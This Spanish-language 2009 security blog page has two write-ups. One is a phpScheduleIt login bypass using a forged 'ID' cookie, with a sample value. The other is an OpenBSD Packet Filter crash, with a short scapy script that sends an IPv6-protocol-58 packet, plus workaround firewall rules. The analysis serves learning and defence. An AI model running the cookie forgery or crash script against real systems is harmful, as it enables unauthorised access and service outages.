martes, 14 de abril de 2009

Bug and Exploit


Uhmmm supongamos que cuando intentamos abrir una aplicación nos pide un típico cuadro de LOGIN, PASSWORD para loguearnos.

Supongamos que el código de la validación es algo como:

// Logging user out
if (isset($_GET['logout'])) {
$auth->doLogout();
}
else if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$msg = $auth->doLogin($_POST['email'], $_POST['password'], (isset($_POST['setCookie']) ? 'y' : null), false, $resume, $_POST['language']);
}
else if (isset($_COOKIE['ID'])) {
$msg = $auth->doLogin('', '', 'y', $_COOKIE['ID'], $resume); // Check if user has cookies set up. If so, log them in automatically
}
Esto nos indicaria que si no es posible validarse de la forma normal, podemos usar una cookie, que generalmente recuerda nuestra sesión y evita que nos logueemos cada vez que abrimos una página del mismo software. En dicho caso la COOKIE se llamaria ID.

Supongamos que tenemos un código que valida la cookie:

if ($isCookie !== false) { // Cookie is set
$cookieValue = $isCookie;

if ( ($id = $this->verifyCookie($cookieValue)) !== false) {
$ok_user = $ok_pass = true;
}
En el caso hipotetico (patetico?), se validaria la cookie si existe con una función llamada verifyCookie.

Supongamos que esa función es algo como:

function verifyCookie($cookieValue)
{
$parts = explode('|', $cookieValue);
if (count($parts) != 2) {
return false;
}

$memberid = $parts[0];
if ( $cookieValue == $this->generateCookie($memberid) ) {
return $memberid;
}
else
{
return false;
}
}
Eso me diria algo como que lo que viene en la cookie (ID), debe tener dos partes y la cookie completa deberia ser igual al resultado de la función generateCookie.

Supongamos que la función generateCookie() tiene el siguiente código:

function generateCookie($memberid)
{
$passwordhash = $this->db->getPassword($memberid);
$cookiehash = md5($memberid . substr($passwordhash, 1, strlen($passwordhash) -5) );

return $memberid.'|'.$cookiehash;
}
Esto me diria que basado en el primer campo de la cookie voy a generar un MD5 de no se que y no se que, de un hash que obtuve con el usuario.

¿ PERO SE VALIDA EL USUARIO?

Supongamos que el usuario no se valida, entonces la deducción me lleva a concluir que puedo generar una cookie a mi antojo que cumpla con lo que la función quiere ver.
Que tal si la COOKIE[ID] tiene un valor como:

astrideliana|a1c6dbe433e08708f7f0e3e2c5a26fed

Supongamos que usamos una herramienta para configurar esta cookie en nuestro navegador y luego entramos al sitio inicial donde nos piden el usuario y la clave.

Supongamos que nos logueamos sin necesidad de ingresar un usuario/clave validos.

Supongamos que ese software se llama: phpScheduleIt.

Supongamos que hay un dicho en la seguridad que dice:

"Cuando un usuario tenga la posibilidad de manipular los datos que ingresan a un sistema de validación y este no haga bien su trabajo, el usuario podrá hacer lo que quiera, puesto que la seguridad depende exclusivamente del conocimiento de ese usuario."

Este dicho, obviamente no existe, pero me gusta inventar.

Recomendación: Nunca, por ningun motivo permita que un usuario manipule mas de lo debido sus datos de entrada, y sobre todo nunca, pero nunca, dejen de soñar.

Post dedicado a [SU]KARITAS ;)

lunes, 13 de abril de 2009

Bug and Exploit for Packet Filter


Hace algunos días se publico un parche para las últimas versiones de OpenBSD, relacionado con Packet Filter. El problema si bien es muy simple es algo que nos pone a reflexionar sobre el mundo de la seguridad. Realmente queria hacer un post acerca de la seguridad en todos los aspectos, pero ya me dió pereza y me dió rabia que al tratar de encontrar información sobre los bugs de OpenBSD nadie explicara como funciona, aunque mi intención solo fuera aprender.

Y así pasa muchas veces, se anuncian los parches de seguridad, se arreglan (fix) los CVS, pero nadie dice nada, quizas por no alarmar, pero y los que queremos aprender un poco mas?, donde queda la comunidad de la seguridad?, la que no es la industria de la seguridad informática, ($$$$) sino los que quieren hacer investigación y entender bugs y exploits?

Ahggr!!!

Bueno, el bug de pf consiste en un paquete que no es capaz de manipular cuando pasa por medio de reglas NAT o RDR, en el reporte de seguridad dicen que se trata del manejo de un paquete IP relacionado con ICMPV6, lo que hice entonces fue lo siguiente:

1. Tratar de encontrar mas información en la lista misc@ de OpenBSD sin mucho éxito.

2. Leer el post oficial de la persona que encontro el Bug, de ahi se concluye que el bug se reproduce cuando se usa NMAP con la opción -sO.

3. Leer el manual de NMAP para entender que hace la opción -sO, concluyendo que el chequeo que realiza es un cambio del campo de protocolo en el encabezado IP, para averiguar cuales estan disponibles en el sistema que se esta escaneando.

4. Buscar la opción mas rápida para simular lo que hace el NMAP, pero al hacer pruebas, me encuentro con que NMAP randomiza los protocolos y por lo tanto no se cuando hace el panic.

5. Pongo un sniffer del otro lado (IP destino) y analizo cual es el último paquete antes de que se caiga el sistema.

6. Lo que hago a continuación es crear un pequeño script en python usando la libreria scapy e intentar un barrido cambiando el protocolo de los paquetes IP.

7. Al encontrar el protocolo "mágico", que obviamente seria el ICMPV6, arreglo el script para que solo envíe un paquete con el encabezado modificado a 58, donde 58 es el código del protocolo.

8. PLUMP!, al suelo OpenBSD :(

9. Sigo triste por este tipo de bugs tan tontos, que pasan desapercibidos, pero que confirman la ley universal: El código esta hecho por humanos, es vulnerable!.
(esta ley universal la estoy inventando)

Despues de ese analisis me quedan muchas dudas, me queda la duda de que pasa con todas las implementaciones de PF en otros Sistemas Operativos, por ejemplo FreeBSD, NetBSD, DragonFly y las distribuciones basadas en estos, por ejemplo el Firewall PFsense o el mismo ComixWall. Porque en los arboles CVS oficiales de estos proyectos no hay cambios?, porque si NetBSD tiene como último import el sistema BASE 4_4 de OpenBSD no ha parchado el PF?
Etc, etc.

Es posible que cualquier implementación de firewall basada en PF sea vulnerable, entonces hice un chequeo de los workarounds recomendados por los desarrolladores y SI funcionan (o que esperaban?) entonces mientras sale un parche para lo que sea que este usando, modifique sus reglas para que usen explicitamente el inet o el inet6, de esa forma no será vulnerable.

A continuación el código para crashear un OpenBSD con reglas nat o rdr básicas:

bash-3.2# cat exploit_pf.py
import sys
from scapy import *
victim=sys.argv[1]
icmpv6=58
p=IP(dst=victim)
p.proto=icmpv6
sr(p,timeout=1)
bash-3.2#
Esto lo que hace es enviar un paquete al host victima, obviamente OpenBSD debe estar en la mitad. Para mas información lea sobre scapy o impacket y lea el reporte de seguridad.

Las reglas que usé para testear desde adentro y desde afuera son:

externa="rl0"
interna="sis0"

nat log on $externa from !{$externa} to any -> ($externa)
rdr log on $externa from any to any -> 172.16.20.2
Donde 172.16.20.2 es el host destino para el envío del paquete, osea el que esta dentro de la LAN. Con las dos reglas el openBSD hace crash, sea desde la LAN --> WAN o desde la WAN --> LAN.

La forma de evitar este ataque es parchando el PF y recompilando el núcleo o con el workaround:

externa="rl0"
interna="sis0"

nat log on $externa inet proto {icmp tcp udp} from !{$externa} to any -> ($externa)
rdr log on $externa inet proto {icmp tcp udp} from any to any -> 172.16.20.2
bueno eso es todo, despues seguimos charlando ...

AAAgggrrr!!!

Update: respondio un usuario de la lista misc@, la solucion suya fue modificando el codigo de ping.c.

Entradas populares